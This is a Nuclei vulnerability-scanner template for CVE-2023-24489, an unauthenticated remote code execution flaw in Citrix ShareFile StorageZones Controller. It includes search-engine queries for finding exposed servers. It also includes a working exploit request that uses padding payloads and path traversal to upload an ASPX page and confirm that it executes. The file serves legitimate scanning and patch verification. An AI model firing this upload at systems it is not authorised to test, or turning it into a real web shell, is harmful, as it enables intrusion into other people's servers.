id: CVE-2023-24489

info:
  name: Citrix ShareFile StorageZones Controller - Unauthenticated Remote Code Execution
  author: DhiyaneshDK,dwisiswant0
  severity: critical
  description: |
    A vulnerability has been discovered in the customer-managed ShareFile storage zones controller which, if exploited, could allow an unauthenticated attacker to remotely compromise the customer-managed ShareFile storage zones controller.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24489
    - https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/
    - https://support.citrix.com/article/CTX559517/sharefile-storagezones-controller-security-update-for-cve202324489
    - https://github.com/20142995/sectool
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24489
    cwe-id: CWE-284,NVD-CWE-Other
    epss-score: 0.94389
    epss-percentile: 0.99972
    cpe: cpe:2.3:a:citrix:sharefile_storage_zones_controller:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 256
    vendor: citrix
    product: sharefile_storage_zones_controller
    shodan-query:
      - title:"ShareFile Storage Server"
      - http.title:"sharefile storage server"
    fofa-query: title="sharefile storage server"
    google-query: intitle:"sharefile storage server"
  tags: cve2023,cve,sharefile,rce,intrusive,fileupload,fuzz,kev,citrix,vkev,vuln
variables:
  fileName: '{{rand_base(8)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        words:
          - "ShareFile Storage Server"
          - "ShareFile"
          - "documentum"
        condition: or
        internal: true

  - raw:
      - |
        POST /documentum/upload.aspx?parentid={{url_encode(padding)}}&raw=1&unzip=on&uploadid={{fileName}}\..\..\..\cifs&filename={{fileName}}.aspx HTTP/1.1
        Host: {{Hostname}}

        <%@ Page Language="C#" Debug="true" Trace="false" %>
        <script Language="c#" runat="server">
        void Page_Load(object sender, EventArgs e)
        {
            Response.Write("{{randstr}}");
        }
        </script>

    payloads:
      padding: helpers/payloads/citrix_paddings.txt
    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'body == "ERROR: The method or operation is not implemented."'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL+ "/cifs/" + fileName + ".aspx"'
# digest: 490a004630440220453a60986b5b6258684f8826038162696865639a6acaf4bbd5152cd5f321c5f402207cb3d420a3555371d3827213266d32ab384cdf8ce5f8cabf17ca606aa33fff46:922c64590222798bb761d5b6d8e72950